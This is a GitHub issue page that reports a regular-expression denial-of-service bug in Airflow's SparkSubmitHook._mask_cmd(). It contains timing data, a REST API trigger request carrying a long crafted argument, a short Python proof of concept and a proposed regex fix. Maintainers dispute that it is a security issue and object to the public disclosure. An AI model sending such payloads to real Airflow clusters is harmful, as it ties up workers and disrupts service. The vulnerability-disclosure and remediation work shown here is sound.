Skip to content

ReDoS in SparkSubmitHook._mask_cmd() via user-controlled application_args (apache-airflow-providers-apache-spark) #70676

Description

@gnsehfvlr

ReDoS in _mask_cmd() via User-Controlled application_args

Summary

The apache-airflow-providers-apache-spark package contains a Regular Expression Denial of Service (ReDoS) vulnerability in the SparkSubmitHook._mask_cmd() method. User-controlled values injected through the Airflow REST API DAG trigger conf parameter are incorporated into a shell command string that is processed by a regex with catastrophic backtracking characteristics, enabling a remote DoS attack.

Affected Package

Vulnerability Details

In airflow/providers/apache/spark/hooks/spark_submit.py at lines 508–530, the _mask_cmd() method applies the following regex to ' '.join(connection_cmd):

re.sub(
    r'(\S*?(?:secret|password)\S*?(?:=|\s+)([\'"]?))(?:(?!\2\s).)*',
    r'\1********',
    ' '.join(connection_cmd)
)

connection_cmd includes self._application_args, which is a templated field populated from the application_args key in the DAG trigger conf dict. The nested lookahead (?:(?!\2\s).)* combined with the \S*? quantifier causes quadratic backtracking when the input string is long and does not contain the expected pattern.

Timing Evidence

Input size Time elapsed
10,000 chars ~2 seconds
50,000 chars ~57 seconds

The growth rate is O(n²), consistent with quadratic backtracking.

Attack Vector

An authenticated Airflow user with DAG trigger permissions can invoke the following REST API call:

POST /api/v1/dags/{dag_id}/dagRuns
Content-Type: application/json

{
  "conf": {
    "application_args": ["aaaa...aaaa!"]
  }
}

Where aaaa...aaaa! is a string of ~50,000 characters not containing secret or password. This causes the Airflow worker process executing the SparkSubmitHook to spin for ~57 seconds per task execution, effectively blocking the worker slot.

Proof of Concept

import re, time

regex = r'(\S*?(?:secret|password)\S*?(?:=|\s+)([\'"]?))(?:(?!\2\s).)*'

for n in [10000, 30000, 50000]:
    payload = 'a' * n + '!'
    t = time.time()
    re.sub(regex, r'\1********', payload)
    print(f"n={n}: {time.time()-t:.2f}s")
# n=10000: ~2.1s
# n=30000: ~19s
# n=50000: ~57s
  • A remote authenticated attacker (Airflow user with trigger permission) can block Airflow worker slots indefinitely by triggering DAG runs with crafted application_args
  • Repeated triggering can exhaust all available workers, causing a complete Denial of Service for the Airflow cluster
  • No code execution or data exfiltration is possible through this vector alone

Remediation

Replace the vulnerable regex with a possessive quantifier or atomic group equivalent, or rewrite the masking logic without a nested lookahead:

# Option 1: Use re.sub with a non-backtracking approach
import re

def _mask_cmd(self, connection_cmd):
    cmd_str = ' '.join(connection_cmd)
    # Replace password/secret values using a non-catastrophic pattern
    masked = re.sub(
        r'(\S*(?:secret|password)\S*(?:=|\s+)[\'"]?)(\S+)',
        r'\1********',
        cmd_str
    )
    return masked

The key fix is removing the nested lookahead (?:(?!\2\s).)* and replacing it with a simple \S+ or bounded quantifier that cannot exhibit catastrophic backtracking.

Activity

  1. boring-cyborg commented on Jul 29, 2026

    @boring-cyborg

    Thanks for opening your first issue here! Be sure to follow the issue template! If you are willing to raise PR to address this issue please do so, no need to wait for approval.

  2. eladkal commented on Jul 30, 2026

    @eladkal
    Contributor

    A remote authenticated attacker (Airflow user with trigger permission) can block Airflow worker slots indefinitely by triggering DAG runs with crafted application_args

    This maybe(?) a possible bug but this is not a security risk. This report is based on autenticated user with full permissions by design acting as an attacker. This is not valid. This is not a case of malicious actor getting permissions that he shouldn't have.

    In any case in the future please do not file security voluntarily publicly. Please read the project security policy and how security reports should be submitted.

  3. added and removed
    securitySecurity issues that must be fixed
    on Jul 30, 2026
  4. potiuk commented on Jul 31, 2026

    @potiuk
    Member

    If this is a security related issue that should not be opened in public - this is called "irresponsible disclosure" @gnsehfvlr

  5. changed the title [-]Security: ReDoS in SparkSubmitHook._mask_cmd() via user-controlled application_args (apache-airflow-providers-apache-spark)[/-] [+]ReDoS in SparkSubmitHook._mask_cmd() via user-controlled application_args (apache-airflow-providers-apache-spark)[/+] on Jul 31, 2026
  6. potiuk commented on Jul 31, 2026

    @potiuk
    Member

    This time I did not hide the issue or it's content becasue if you look at our security model, DOS is almost never considered as a security vulnerability - read the model and find out why.

    NEVER EVER IN THE FUTURE use "Security issue" in public issue. This is just plain wrong and violates our security policy. Repeated violation of those policy will casue reporting of such accounts to GitHub and eventually disabling them.

    You should check if what you report is a security issue by verifying it against our Security model. If it's not, this is a regular non-security PR you can open - you do not even need to open PR. If you determine - after carefuly reading our model - that it's a security issue - follow our Security Policy to report it.

    And if you are using Agents to make reports and PRS - it's still YOUR responsibility to instruct them and review what they are doing so you will bear consequences of them doing so.

  7. jaydaVis04 commented on Aug 6, 2026

    @jaydaVis04

    Hi, I’d like to work on this issue. I plan to replace the backtracking-prone masking logic with a linear-time approach and add regression tests covering large application arguments, existing password and secret masking behavior, and inputs without sensitive values. Is that scope acceptable?

  8. LeonxLJX commented on Aug 31, 2026

    @LeonxLJX

    Hi! I'd like to fix the ReDoS in SparkSubmitHook._mask_cmd(). Thanks!

  9. avanish-garg commented on Sep 1, 2026

    @avanish-garg

    Hi, I'd like to take this one. Planning to fix the ReDoS pattern in _mask_cmd() by replacing the vulnerable regex with a linear-time approach (or bounding backtracking) and add a regression test with a crafted application_args payload. Will follow up with a PR soon.

  10. LeonxLJX commented on Sep 1, 2026

    @LeonxLJX

    Hi! I'd like to work on this. I'll reproduce, fix, add a regression test, and run the relevant tests. Please let me know if I can proceed / be assigned.

  11. added a commit that references this issue on Oct 4, 2026
    b3674d4
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions